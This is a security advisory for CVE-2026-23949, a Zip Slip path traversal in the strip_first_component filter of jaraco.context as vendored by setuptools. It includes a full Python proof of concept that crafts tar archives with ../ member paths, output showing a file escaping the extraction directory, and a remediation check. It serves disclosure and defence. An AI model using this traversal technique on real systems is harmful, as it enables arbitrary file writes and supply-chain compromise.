CVE-2026-23949

Summary

There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.

The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummy_dir/../../etc/passwd become ../../etc/passwd.

Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummy_dir/inner.tar.gz, where the inner.tar.gz includes a traversal dummy_dir/../../config/.env that also gets translated to ../../config/.env.

The code can be found:

• https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91
• https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)

This report was also sent to setuptools maintainers and they asked some questions regarding this.

The lengthy answer is:

The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).

The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.

The short answer is:

If we are talking about Python < 3.12 the tarball and jaraco implementations /  behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.

Sampled tests:

<img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" />

Details

The flow with setuptools in the mix:

setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)

PoC

This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm).

You can run this directly after having all the dependencies:

#!/usr/bin/env python3
import tarfile
import io
import os
import sys
import shutil
import tempfile
from setuptools._vendor.jaraco.context import strip_first_component

def create_malicious_tarball(traversal_to_root: str):
    tar_data = io.BytesIO()
    with tarfile.open(fileobj=tar_data, mode='w') as tar:
        # Create a malicious file path with traversal sequences
        malicious_files = [
            # Attempt 1: Simple traversal to /tmp
            {
                'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',
                'content': b'[ZIPSLIP] File written to /tmp via path traversal!',
                'name': 'pwned_via_tmp'
            },
            # Attempt 2: Try to write to home directory
            {
                'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',
                'content': b'[ZIPSLIP] Attempted write to home directory',
                'name': 'pwned_via_home'
            },
            # Attempt 3: Try to write to current directory parent
            {
                'path': 'dummy_dir/../escaped.txt',
                'content': b'[ZIPSLIP] File in parent directory!',
                'name': 'pwned_escaped'
            },
            # Attempt 4: Legitimate file for comparison
            {
                'path': 'dummy_dir/legitimate_file.txt',
                'content': b'This file stays in target directory',
                'name': 'legitimate'
            }
        ]
        for file_info in malicious_files:
            content = file_info['content']
            tarinfo = tarfile.TarInfo(name=file_info['path'])
            tarinfo.size = len(content)
            tar.addfile(tarinfo, io.BytesIO(content))
    tar_data.seek(0)
    return tar_data

def exploit_zipslip():
    print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\")
    # Create temporary directory for extraction
    temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\")
    target_dir = os.path.join(temp_base, \"extraction_target\")
    try:
        os.mkdir(target_dir)
        print(f\"[+] Created target extraction directory: {target_dir}\")
        target_dir_abs = os.path.abspath(target_dir)
        print(target_dir_abs)
        depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])
        traversal_to_root = \"../\" * depth_to_root
        print(f\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\")
        # Create malicious tarball
        print(\"[*] Creating malicious tar archive...\")
        tar_data = create_malicious_tarball(traversal_to_root)
        try:
            with tarfile.open(fileobj=tar_data, mode='r') as tf:
                for member in tf:
                    # Apply the ACTUAL vulnerable function from setuptools
                    processed_member = strip_first_component(member, target_dir)
                    print(f\"[*] Extracting: {member.name:40} -> {processed_member.name}\")
                    # Extract to target directory
                    try:
                        tf.extract(processed_member, path=target_dir)
                        print(f\"    ✓ Extracted successfully\")
                    except (PermissionError, FileNotFoundError, OSError) as e:
                        print(f\"    ! {type(e).__name__}: Path traversal ATTEMPTED\")
        except Exception as e:
            print(f\"[!] Extraction raised exception: {type(e).__name__}: {e}\")
        # Check results
        print(\"[*] Checking for extracted files...\")
        # Check target directory
        print(f\"[*] Files in target directory ({target_dir}):\")
        if os.path.exists(target_dir):
            for root, _, files in os.walk(target_dir):
                level = root.replace(target_dir, '').count(os.sep)
                indent = ' ' * 2 * level
                print(f\"{indent}{os.path.basename(root)}/\")
                subindent = ' ' * 2 * (level + 1)
                for file in files:
                    filepath = os.path.join(root, file)
                    try:
                        with open(filepath, 'r') as f:
                            content = f.read()[:50]
                        print(f\"{subindent}{file}\")
                        print(f\"{subindent}  └─ {content}...\")
                    except:
                        print(f\"{subindent}{file} (binary)\")
        else:
            print(f\"[!] Target directory not found!\")
        print()
        print(\"[*] Checking for traversal attempts...\")
        print()
        # Check if files escaped
        traversal_attempts = [
            (\"/tmp/pwned_by_zipslip.txt\", \"Escape to /tmp\"),
            (os.path.expanduser(\"~/pwned_home.txt\"), \"Escape to home\"),
            (os.path.join(temp_base, \"escaped.txt\"), \"Escape to parent\"),
        ]
        escaped = False
        for check_path, description in traversal_attempts:
            if os.path.exists(check_path):
                print(f\"[+] Path Traversal Confirmed: {description}\")
                print(f\"      File created at: {check_path}\")
                try:
                    with open(check_path, 'r') as f:
                        content = f.read()
                    print(f\"      Content: {content}\")
                    print(f\"      Removing: {check_path}\")
                    os.remove(check_path)
                except Exception as e:
                    print(f\"      Error reading: {e}\")
                escaped = True
            else:
                print(f\"[-] OK: {description} - No escape detected\")
        if escaped:
            print(\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\")
        else:
            print(\"[-] No path traversal detected (mitigation in place)\")
    finally:
        # Cleanup
        print()
        print(f\"[*] Cleaning up: {temp_base}\")
        try:
            shutil.rmtree(temp_base)
        except Exception as e:
            print(f\"[!] Cleanup error: {e}\")

def check_python_version():
    print(f\"[+] Python version: {sys.version}\")
    # Python 3.11.4+ added DEFAULT_FILTER
    if hasattr(tarfile, 'DEFAULT_FILTER'):
        print(\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\")
    else:
        print(\"[!] Python does not have DEFAULT_FILTER (older version)\")
    print()

if __name__ == \"__main__\":
    check_python_version()
    exploit_zipslip()

Output:

[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] 
[!] Python does not have DEFAULT_FILTER (older version) 
[*] Target: setuptools._vendor.jaraco.context.tarball() 
[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target 
[*] Creating malicious tar archive... 
[*] Extracting: ../../tmp/pwned_by_zipslip.txt           -> ../../tmp/pwned_by_zipslip.txt 
    ✓ Extracted successfully 
[*] Extracting: ../../../../home/pwned_home.txt          -> ../../../../home/pwned_home.txt 
    ! PermissionError: Path traversal ATTEMPTED 
[*] Extracting: ../escaped.txt                           -> ../escaped.txt 
    ✓ Extracted successfully 
[*] Extracting: legitimate_file.txt                      -> legitimate_file.txt 
    ✓ Extracted successfully 
[*] Checking for extracted files... 
[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): 
extraction_target/ 
  legitimate_file.txt 
    └─ This file stays in target directory... 
[*] Checking for traversal attempts... 
[-] OK: Escape to /tmp - No escape detected 
[-] OK: Escape to home - No escape detected 
[+] Path Traversal Confirmed: Escape to parent 
      File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt 
      Content: [ZIPSLIP] File in parent directory! 
      Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt 
[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! 
[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5

Impact

• Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.
• Privesc (LOW exploitability)
• Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.

Remediation

I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter stripfirstcomponent that skips or sanitizes ../ character sequences since it is already there eg.

if member.name.startswith('/') or '..' in member.name:
  raise ValueError(f\"Attempted path traversal detected: {member.name}\")